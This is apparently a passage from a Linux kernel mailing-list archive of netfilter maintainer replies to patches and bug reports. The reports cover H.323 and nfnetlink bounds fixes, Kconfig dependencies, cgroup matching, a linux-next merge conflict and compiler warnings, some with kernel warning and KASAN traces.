> + if ((unsigned long)len > h323_buffer_valid_bytes)
> + return false;
> +
> + if (p + len > (void *)h323_buffer + h323_buffer_valid_bytes)
> + return false;
> +
> + if (p < (void *)h323_buffer)
> + return false;
> +
> + return true;
> +}
>
> static struct nf_conntrack_helper nf_conntrack_helper_h245;
> static struct nf_conntrack_helper nf_conntrack_helper_q931[];
Re: [PATCH nf] netfilter: nfnetlink: correctly validate length of batch messages
On Tue, Feb 02, 2016 at 01:36:45PM -0500, phil.turnb...@oracle.com wrote: > From: Phil Turnbull > > If nlh->nlmsg_len is zero then an infinite loop is triggered because > 'skb_pull(skb, msglen);' pulls zero bytes. > > The calculation in nlmsg_len() underflows if 'nlh->nlmsg_len < > NLMSG_HDRLEN' which bypasses the length validation and will later > trigger an out-of-bound read. > > If the length validation does fail then the malformed batch message is > copied back to userspace. However, we cannot do this because the > nlh->nlmsg_len can be invalid. This leads to an out-of-bounds read in > netlink_ack: > > [ 41.455421] > == > [ 41.456431] BUG: KASAN: slab-out-of-bounds in memcpy+0x1d/0x40 at addr > 880119e79340 > [ 41.456431] Read of size 4294967280 by task a.out/987 > [ 41.456431] > = > [ 41.456431] BUG kmalloc-512 (Not tainted): kasan: bad access detected > [ 41.456431] > - > ... > [ 41.456431] Bytes b4 880119e79310: 00 00 00 00 d5 03 00 00 b0 fb > fe ff 00 00 00 00 > [ 41.456431] Object 880119e79320: 20 00 00 00 10 00 05 00 00 00 00 > 00 00 00 00 00 ... > [ 41.456431] Object 880119e79330: 14 00 0a 00 01 03 fc 40 45 56 11 > 22 33 10 00 05 ...@EV."3... > [ 41.456431] Object 880119e79340: f0 ff ff ff 88 99 aa bb 00 14 00 > 0a 00 06 fe fb > ^^ start of batch nlmsg with >nlmsg_len=4294967280 > ... > [ 41.456431] Memory state around the buggy address: > [ 41.456431] 880119e79400: 00 00 00 00 00 00 00 00 00 00 00 00 00 > 00 00 00 > [ 41.456431] 880119e79480: 00 00 00 00 00 00 00 00 00 00 00 00 00 > 00 00 00 > [ 41.456431] >880119e79500: 00 00 00 00 fc fc fc fc fc fc fc fc fc > fc fc fc > [ 41.456431]^ > [ 41.456431] 880119e79580: fc fc fc fc fc fc fc fc fc fc fc fc fc > fc fc fc > [ 41.456431] 880119e79600: fc fc fc fc fc fc fc fc fc fc fb fb fb > fb fb fb > [ 41.456431] > == > > Fix this with better validation of nlh->nlmsg_len and by setting > NFNL_BATCH_FAILURE if any batch message fails length validation. > > CAP_NET_ADMIN is required to trigger the bugs. Applied, thanks.
Re: [PATCH] netfilter: nft_counter: fix erroneous return values
On Sat, Feb 06, 2016 at 11:31:19PM -0500, Anton Protopopov wrote: > The nft_counter_init() and nft_counter_clone() functions should return > negative error value -ENOMEM instead of positive ENOMEM. Applied, thanks.
Re: [PATCH] netfilter: tee: select NF_DUP_IPV6 unconditionally
On Fri, Feb 05, 2016 at 10:20:21AM +0100, Arnd Bergmann wrote: > The NETFILTER_XT_TARGET_TEE option selects NF_DUP_IPV6 whenever > IP6_NF_IPTABLES is enabled, and it ensures that it cannot be > builtin itself if NF_CONNTRACK is a loadable module, as that > is a dependency for NF_DUP_IPV6. > > However, NF_DUP_IPV6 can be enabled even if IP6_NF_IPTABLES is > turned off, and it only really depends on IPV6. With the current > check in tee_tg6, we call nf_dup_ipv6() whenever NF_DUP_IPV6 > is enabled. This can however be a loadable module which is > unreachable from a built-in xt_TEE: > > net/built-in.o: In function `tee_tg6': > :(.text+0x67728): undefined reference to `nf_dup_ipv6' > > The bug was originally introduced in the split of the xt_TEE module > into separate modules for ipv4 and ipv6, and two patches tried > to fix it unsuccessfully afterwards. > > This is a revert of the the first incorrect attempt to fix it, > going back to depending on IPV6 as the dependency, and we > adapt the 'select' condition accordingly. Applied, thanks Arnd.
Re: [PATCH V3] netfilter: h323: avoid potential attack
On Fri, Jan 29, 2016 at 11:25:35AM +0800, Zhouyi Zhou wrote: > I think hackers chould build a malicious h323 packet to overflow > the pointer p which will panic during the memcpy(addr, p, len) > For example, he may fabricate a very large taddr->ipAddress.ip; > As suggested by Eric, this module is protected by a lock (nf_h323_lock) > so adding a variable h323_buffer_valid_bytes that would contain > the number of valid bytes would not require to change prototypes of > get_h2x5_addr. > > Signed-off-by: Zhouyi Zhou > Signed-off-by: Eric Dumazet > Reviewed-by: Sergei Shtylyov > > --- > net/netfilter/nf_conntrack_h323_main.c | 13 + > 1 file changed, 13 insertions(+) > > diff --git a/net/netfilter/nf_conntrack_h323_main.c > b/net/netfilter/nf_conntrack_h323_main.c > index 9511af0..65d84bc 100644 > --- a/net/netfilter/nf_conntrack_h323_main.c > +++ b/net/netfilter/nf_conntrack_h323_main.c > @@ -110,6 +110,11 @@ int (*nat_q931_hook) (struct sk_buff *skb, > > static DEFINE_SPINLOCK(nf_h323_lock); > static char *h323_buffer; > +static unsigned int h323_buffer_valid_bytes; > +/* check offset overflow and out of range data reference */ > +#define CHECK_BOUND(p, n) ((n) > h323_buffer_valid_bytes || \ > +((void *)(p) + (n) - (void *)h323_buffer \ > + > h323_buffer_valid_bytes)) We don't want obscure macros. You add a function for this, the compiler will likely inline it.
Re: net: GPF in netlink_getsockbyportid
On Mon, Jan 25, 2016 at 06:03:41PM +0800, Herbert Xu wrote: > On Sun, Jan 24, 2016 at 01:11:03AM +0100, Florian Westphal wrote: > > Daniel Borkmann wrote: > > > On 01/23/2016 08:25 PM, Florian Westphal wrote: > > > >Dmitry Vyukov wrote: > > > > > > > >[ CC nf-devel, not sure if its nfnetlink fault or NETLINK_MMAP ] > > > > > > > >>The following program causes GPF in netlink_getsockbyportid: > > [..] > > > > > >CONFIG_NETLINK_MMAP and nfnetlink batching strike in unison :-/ > > > > > > > >root cause is in nfnetlink_rcv_batch(): > > > > > > > >296 replay: > > > >297 status = 0; > > > >298 > > > >299 skb = netlink_skb_clone(oskb, GFP_KERNEL); > > > > > > > >The clone op doesn't copy oskb->sk, so we oops in > > > >__netlink_alloc_skb -> netlink_getsockbyportid() when nfnetlink_rcv_batch > > > >tries to send netlink ack. > > > > > > If indeed oskb is the mmap'ed netlink skb, then it's not even allowed > > > to call into skb_clone() > > > > Right, but in this case there is no mmap'd netlink sk involved -- we > > crash when we try to look up dst netlink socket to see if there is an > > mmap'd ring attached. > > > > [ and that code isn't there with CONFIG_NETLINK_MMAP=n ]. > > Let's CC Pablo since he wrote the code in question. I have just sent this patch: http://patchwork.ozlabs.org/patch/572489/
Re: nf_unregister_net_hook: hook not found!
On Mon, Dec 28, 2015 at 09:05:03PM +0100, Sander Eikelenboom wrote: > Hi, > > Running a 4.4.0-rc6 kernel i encountered the warning below. Cc'ing Eric Biederman. @Sander, could you provide a way to reproduce this? Thanks. > [ 13.740472] ip_tables: (C) 2000-2006 Netfilter Core Team > [ 13.936237] iwlwifi :03:00.0: L1 Enabled - LTR Disabled > [ 13.945391] iwlwifi :03:00.0: L1 Enabled - LTR Disabled > [ 13.947434] iwlwifi :03:00.0: Radio type=0x2-0x1-0x0 > [ 14.223990] iwlwifi :03:00.0: L1 Enabled - LTR Disabled > [ 14.232065] iwlwifi :03:00.0: L1 Enabled - LTR Disabled > [ 14.233570] iwlwifi :03:00.0: Radio type=0x2-0x1-0x0 > [ 14.328141] systemd-logind[2485]: Failed to start user service: Unknown > unit: user@117.service > [ 14.356634] systemd-logind[2485]: New session c1 of user lightdm. > [ 14.357320] [ cut here ] > [ 14.357327] WARNING: CPU: 2 PID: 102 at net/netfilter/core.c:143 > netfilter_net_exit+0x25/0x50() > [ 14.357328] nf_unregister_net_hook: hook not found! > [ 14.357371] Modules linked in: iptable_security(+) iptable_raw > iptable_filter ip_tables x_tables input_polldev bnep binfmt_misc nfsd > auth_rpcgss oid_registry nfs_acl nfs lockd grace fscache sunrpc uvcvideo > videobuf2_vmalloc iTCO_wdt arc4 videobuf2_memops iTCO_vendor_support > intel_rapl iosf_mbi videobuf2_v4l2 x86_pkg_temp_thermal intel_powerclamp > btusb coretemp snd_hda_codec_hdmi iwldvm videobuf2_core btrtl kvm_intel > v4l2_common mac80211 videodev btbcm snd_hda_codec_conexant btintel media kvm > snd_hda_codec_generic bluetooth psmouse thinkpad_acpi iwlwifi snd_hda_intel > pcspkr serio_raw snd_hda_codec nvram cfg80211 snd_hwdep snd_hda_core rfkill > i2c_i801 lpc_ich snd_pcm mfd_core snd_timer evdev snd soundcore shpchp > tpm_tis tpm algif_skcipher af_alg crct10dif_pclmul crc32_pclmul crc32c_intel > aesni_intel > [ 14.357380] ehci_pci sdhci_pci aes_x86_64 glue_helper ehci_hcd e1000e > lrw ablk_helper sg sdhci cryptd sd_mod ptp mmc_core usbcore usb_common > pps_core > [ 14.357383] CPU: 2 PID: 102 Comm: kworker/u16:3 Tainted: G U > 4.4.0-rc6-x220-20151224+ #1 > [ 14.357384] Hardware name: LENOVO 42912ZU/42912ZU, BIOS 8DET69WW (1.39 ) > 07/18/2013 > [ 14.357390] Workqueue: netns cleanup_net > [ 14.357393] 81a27dfd 81359c69 88030e7cbd40 > 81060297 > [ 14.357395] 88030e820d80 88030e7cbd90 81c962d8 > 81c962e0 > [ 14.357397] 88030e7cbdf8 81060317 81a2c010 > 88030018 > [ 14.357398] Call Trace: > [ 14.357405] [] ? dump_stack+0x40/0x57 > [ 14.357408] [] ? warn_slowpath_common+0x77/0xb0 > [ 14.357410] [] ? warn_slowpath_fmt+0x47/0x50 > [ 14.357416] [] ? mutex_lock+0x9/0x30 > [ 14.357418] [] ? netfilter_net_exit+0x25/0x50 > [ 14.357421] [] ? ops_exit_list.isra.6+0x2e/0x60 > [ 14.357424] [] ? cleanup_net+0x1ab/0x280 > [ 14.357427] [] ? process_one_work+0x133/0x330 > [ 14.357429] [] ? worker_thread+0x60/0x470 > [ 14.357430] [] ? process_one_work+0x330/0x330 > [ 14.357434] [] ? kthread+0xca/0xe0 > [ 14.357436] [] ? kthread_create_on_node+0x170/0x170 > [ 14.357439] [] ? ret_from_fork+0x3f/0x70 > [ 14.357441] [] ? kthread_create_on_node+0x170/0x170 > [ 14.357443] ---[ end trace 9984cc4b0e89f818 ]--- > [ 14.357443] [ cut here ] > [ 14.357446] WARNING: CPU: 2 PID: 102 at net/netfilter/core.c:143 > netfilter_net_exit+0x25/0x50() > [ 14.357446] nf_unregister_net_hook: hook not found! > [ 14.357472] Modules linked in: iptable_security(+) iptable_raw > iptable_filter ip_tables x_tables input_polldev bnep binfmt_misc nfsd > auth_rpcgss oid_registry nfs_acl nfs lockd grace fscache sunrpc uvcvideo > videobuf2_vmalloc iTCO_wdt arc4 videobuf2_memops iTCO_vendor_support > intel_rapl iosf_mbi videobuf2_v4l2 x86_pkg_temp_thermal intel_powerclamp > btusb coretemp snd_hda_codec_hdmi iwldvm videobuf2_core btrtl kvm_intel > v4l2_common mac80211 videodev btbcm snd_hda_codec_conexant btintel media kvm > snd_hda_codec_generic bluetooth psmouse thinkpad_acpi iwlwifi snd_hda_intel > pcspkr serio_raw snd_hda_codec nvram cfg80211 snd_hwdep snd_hda_core rfkill > i2c_i801 lpc_ich snd_pcm mfd_core snd_timer evdev snd soundcore shpchp > tpm_tis tpm algif_skcipher af_alg crct10dif_pclmul crc32_pclmul crc32c_intel > aesni_intel > [ 14.357478] ehci_pci sdhci_pci aes_x86_64 glue_helper ehci_hcd e1000e > lrw ablk_helper sg sdhci cryptd sd_mod ptp mmc_core usbcore usb_common > pps_core > [ 14.357480] CPU: 2 PID: 102 Comm: kworker/u16:3 Tainted: G U W > 4.4.0-rc6-x220-20151224+ #1 > [ 14.357481] Hardware name: LENOVO 42912ZU/42912ZU, BIOS 8DET69WW (1.39 ) > 07/18/2013 > [ 14.357484] Workqueue: netns cleanup_net > [ 14.357486] 81a27dfd 81359c69 88030e7cbd40 > 81060297 > [ 14.357488] 88030e820db8 88030e7cbd90 81c962d8 > 81c962e0 > [ 14.357489] 88030e7cbdf
Re: [PATCH] ila: add NETFILTER dependency
On Fri, Dec 18, 2015 at 07:09:31PM +0100, Florian Westphal wrote: > Pablo Neira Ayuso wrote: > > I'm afraid this extra Kconfig dependency that Arnd adds to fix this is > > a symptom that there is something that doesn't belong there. > > > > I overlook this new hook on priority -1, how does this integrate into > > our infrastructure? > > Looks problematic since address changes post ipv6 dnat translations, > its certainly unexpected for nft since we have magic address mangling > after -2 and 0 priroized tables... David indicated that this should be sort of transparent and integrated into separated infrastructure. The existing hook will break IPv6 conntrack and NAT for us, and the extra hook is suboptimal as it I'd suggest you add a static key and specific hook before netfilter to deal with this. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] ila: add NETFILTER dependency
On Fri, Dec 18, 2015 at 03:37:37PM +0100, Arnd Bergmann wrote:
> The recently added generic ILA translation facility fails to
> build when CONFIG_NETFILTER is disabled:
>
> net/ipv6/ila/ila_xlat.c:229:20: warning: 'struct nf_hook_state' declared
> inside parameter list
> net/ipv6/ila/ila_xlat.c:235:27: error: array type has incomplete element type
> 'struct nf_hook_ops'
> static struct nf_hook_ops ila_nf_hook_ops[] __read_mostly = {
>
> This adds an explicit Kconfig dependency to avoid that case.
I'm afraid this extra Kconfig dependency that Arnd adds to fix this is
a symptom that there is something that doesn't belong there.
I overlook this new hook on priority -1, how does this integrate into
our infrastructure?
And mainly, isn't there any better way to integrate this into the
stack?
And why didn't you Cc netfilter-devel for code that involves
Netfilter?
We have to evaluate how this integrates into what we have, if it
breaks when it interacts with other components that we have.
I'm very sorry to say, but none of this has happened so far.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 8/8] netfilter: implement xt_cgroup cgroup2 path match
On Mon, Dec 07, 2015 at 05:38:55PM -0500, Tejun Heo wrote: > This patch implements xt_cgroup path match which matches cgroup2 > membership of the associated socket. The match is recursive and > invertible. Applied, thanks. I shared the same concerns as Florian regarding the large size of the path field in iptables, but given that we expose the layout of our internal representation there (which is bad in terms of extensibility), the only solution that I can see is to artificially limitate the size of that field, but that may break users depending on the scenario. Hopefully, we should be able to provide something better in nf_tables to address this. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 7/8] netfilter: prepare xt_cgroup for multi revisions
On Mon, Dec 07, 2015 at 05:38:54PM -0500, Tejun Heo wrote: > xt_cgroup will grow cgroup2 path based match. Postfix existing > symbols with _v0 and prepare for multi revision registration. Applied, thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: undefined reference to `nf_conntrack_untracked'
On Sun, Dec 06, 2015 at 12:47:10PM +0800, kbuild test robot wrote: > Hi Pablo, > > FYI, the error/warning still remains. > > tree: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git > master > head: a2dbb7b56f2c29fc78b18a3fbe47ad80f6912092 > commit: bbde9fc1824aab58bc78c084163007dd6c03fe5b netfilter: factor out packet > duplication for IPv4/IPv6 > date: 4 months ago > config: x86_64-randconfig-s5-12061137 (attached as .config) > reproduce: > git checkout bbde9fc1824aab58bc78c084163007dd6c03fe5b > # save the attached .config to linux build tree > make ARCH=x86_64 > > All errors (new ones prefixed by >>): > >net/built-in.o: In function `nf_dup_ipv4': > >> (.text+0xd434f): undefined reference to `nf_conntrack_untracked' I have just send this patch to address this problem: http://patchwork.ozlabs.org/patch/554805/ -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] netfilter: Initialize local variables to NULL, to prevent using them when uninitialized.
We already have this: http://git.kernel.org/cgit/linux/kernel/git/pablo/nf.git/commit/?id=8e662164abb4a8fde701a46e1431980f9e325742 We'll be sending this today to David to avoid this annoyance. Thanks for you patch anyway. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: linux-next: manual merge of the ipvs-next tree with the tree
On Tue, Dec 01, 2015 at 07:26:09PM +, Mark Brown wrote:
> Hi Simon,
>
> Today's linux-next merge of the ipvs-next tree got a conflict in
> between commit 264640fc2c5f4f ("ipv6: distinguish frag queues by
> device for multicast and link-local packets") from the net tree and
> commit 029f7f3b8701c ("netfilter: ipv6: nf_defrag: avoid/free clone
> operations") from the ipvs-next tree.
>
> I fixed it up (see below) and can carry the fix as necessary (no action
> is required).
This a clash between Florian's fragmentation work and David's net
tree: https://lkml.org/lkml/2015/11/24/732
I'll be using this here to resolve this conflict here before passing
nf-next updates to David.
Thanks.
> diff --cc net/ipv6/netfilter/nf_conntrack_reasm.c
> index bab4441ed4e4,912bc3afc183..
> --- a/net/ipv6/netfilter/nf_conntrack_reasm.c
> +++ b/net/ipv6/netfilter/nf_conntrack_reasm.c
> @@@ -582,31 -576,19 +577,21 @@@ int nf_ct_frag6_gather(struct net *net
> }
>
> if (find_prev_fhdr(skb, &prevhdr, &nhoff, &fhoff) < 0)
> - return skb;
> + return -EINVAL;
>
> - clone = skb_clone(skb, GFP_ATOMIC);
> - if (clone == NULL) {
> - pr_debug("Can't clone skb\n");
> - return skb;
> - }
> -
> - NFCT_FRAG6_CB(clone)->orig = skb;
> -
> - if (!pskb_may_pull(clone, fhoff + sizeof(*fhdr))) {
> - pr_debug("message is too short.\n");
> - goto ret_orig;
> - }
> + if (!pskb_may_pull(skb, fhoff + sizeof(*fhdr)))
> + return -ENOMEM;
>
> - skb_set_transport_header(clone, fhoff);
> - hdr = ipv6_hdr(clone);
> - fhdr = (struct frag_hdr *)skb_transport_header(clone);
> + skb_set_transport_header(skb, fhoff);
> + hdr = ipv6_hdr(skb);
> + fhdr = (struct frag_hdr *)skb_transport_header(skb);
>
> fq = fq_find(net, fhdr->identification, user, &hdr->saddr, &hdr->daddr,
> - ip6_frag_ecn(hdr));
> -if (fq == NULL)
> + skb->dev ? skb->dev->ifindex : 0, ip6_frag_ecn(hdr));
> +if (fq == NULL) {
> +pr_debug("Can't find and can't create new queue\n");
> - goto ret_orig;
> + return -ENOMEM;
> +}
>
> spin_lock_bh(&fq->q.lock);
>
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v4 52/79] include/uapi/netfilter/*.h: fix include files for compilation
On Thu, Oct 15, 2015 at 07:56:30AM +0200, Mikko Rapeli wrote: > Add missing header dependencies and other small changes so that each file > compiles alone in userspace. Applied, thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v4 21/79] ebtables.h: use __u64 from linux/types.h
On Thu, Oct 15, 2015 at 07:55:59AM +0200, Mikko Rapeli wrote: > Fixes userspace compilation error: > > linux/netfilter_bridge/ebtables.h:38:2: error: unknown type name ‘uint64_t’ Applied, thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: nfnetlink warnings
I have just applied this patch to resolve this issue. http://git.kernel.org/cgit/linux/kernel/git/pablo/nf.git/commit/?id=8e662164abb4a8fde701a46e1431980f9e325742 Thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] netfilter: avoid harmless unnitialized variable warnings
On Thu, Nov 19, 2015 at 01:49:59PM +0100, Arnd Bergmann wrote: > Several ARM default configurations give us warnings on recent > compilers about potentially uninitialized variables in the > nfnetlink code in two functions: > > net/netfilter/nfnetlink_queue.c: In function 'nfqnl_build_packet_message': > net/netfilter/nfnetlink_queue.c:519:19: warning: 'nfnl_ct' may be used > uninitialized in this function [-Wmaybe-uninitialized] > if (ct && nfnl_ct->build(skb, ct, ctinfo, NFQA_CT, NFQA_CT_INFO) < 0) > > Moving the rcu_dereference(nfnl_ct_hook) call outside of the > conditional code avoids the warning without forcing us to > preinitialize the variable. Applied, thanks Arnd. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/2 iptables] libxt_cgroup: prepare for multi revisions
On Sun, Nov 22, 2015 at 09:31:28PM +0100, Pablo Neira Ayuso wrote:
> On Sat, Nov 21, 2015 at 11:18:46AM -0500, Tejun Heo wrote:
> > --- a/extensions/libxt_cgroup.c
> > +++ b/extensions/libxt_cgroup.c
> > @@ -3,30 +3,30 @@
> > #include
> >
> > enum {
> > - O_CGROUP = 0,
> > + O_CLASSID = 0,
> > };
> >
> > -static void cgroup_help(void)
> > +static void cgroup_help_v0(void)
> > {
> > printf(
> > "cgroup match options:\n"
> > -"[!] --cgroup fwid Match cgroup fwid\n");
> > +"[!] --cgroup classidMatch cgroup classid\n");
>
> We have to keep the old cgroup integer ID around for a while,
> otherwise we'll break users with old kernels and new iptables
> utilities.
Oh, I see.
This is just a rename to prepare the string based identifier.
Sorry for the noise.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/2 iptables] libxt_cgroup: prepare for multi revisions
On Sat, Nov 21, 2015 at 11:18:46AM -0500, Tejun Heo wrote:
> libxt_cgroup will grow cgroup2 path based match. Postfix existing
> symbols with _v0 and prepare for multi revision registration. While
> at it, rename O_CGROUP to O_CLASSID and fwid to classid.
>
> Signed-off-by: Tejun Heo
> Cc: Daniel Borkmann
> Cc: Jan Engelhardt
> Cc: Pablo Neira Ayuso
> ---
> extensions/libxt_cgroup.c | 51
> +++-
> include/linux/netfilter/xt_cgroup.h |2 -
> 2 files changed, 28 insertions(+), 25 deletions(-)
>
> --- a/extensions/libxt_cgroup.c
> +++ b/extensions/libxt_cgroup.c
> @@ -3,30 +3,30 @@
> #include
>
> enum {
> - O_CGROUP = 0,
> + O_CLASSID = 0,
> };
>
> -static void cgroup_help(void)
> +static void cgroup_help_v0(void)
> {
> printf(
> "cgroup match options:\n"
> -"[!] --cgroup fwid Match cgroup fwid\n");
> +"[!] --cgroup classidMatch cgroup classid\n");
We have to keep the old cgroup integer ID around for a while,
otherwise we'll break users with old kernels and new iptables
utilities.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCHSET v2] netfilter, cgroup: implement xt_cgroup2 match
On Fri, Nov 20, 2015 at 01:59:12PM -0500, David Miller wrote: > From: Tejun Heo > Date: Thu, 19 Nov 2015 13:52:44 -0500 > > > This is the second take of the xt_cgroup2 patchset. Changes from the > > last take are > > > > * Instead of adding sock->sk_cgroup separately, sock->sk_cgrp_data now > > carries either (prioidx, classid) pair or cgroup2 pointer. This > > avoids inflating struct sock with yet another cgroup related field. > > Unfortunately, this does add some complexity but that's the > > trade-off and the complexity is contained in cgroup proper. > > > > * Various small updats as per David and Jan's reviews. > > I like this a lot better, thanks. > > Please address Daniel's feedback on patch #6 and then I'm personally > fine with this series. > > Pablo, are you ok with me merging this into net-next directly or > would you rather I take patches 1-6 into net-next and then you can > merge and then add patch #7 on top? I'd suggest you get 1-6, then I'll pull this info my tree. Thanks David! Regarding #7, I have a couple two concerns: 1) cgroup currently doesn't work the way users expect, ie. to perform any reasonable firewalling. Since this relies on early demux, only a limited number of sockets get access to the cgroup info. 2) We have traditionally rejected match2 and target2 extensions. I guess you can accomodate the new cgroup code through the revision iptables infrastructure, so we still use the cgroup match. Let me know, thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCHSET v2] netfilter, cgroup: implement xt_cgroup2 match
On Fri, Nov 20, 2015 at 08:56:25PM +0100, Pablo Neira Ayuso wrote: > Regarding #7, I have a couple two concerns: > > 1) cgroup currently doesn't work the way users expect, ie. to perform any >reasonable firewalling. Since this relies on early demux, only a >limited number of sockets get access to the cgroup info. Ops sorry, I forgot to indicate that I'm refering to the INPUT chain. > 2) We have traditionally rejected match2 and target2 extensions. I >guess you can accomodate the new cgroup code through the revision >iptables infrastructure, so we still use the cgroup match. > > Let me know, thanks. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
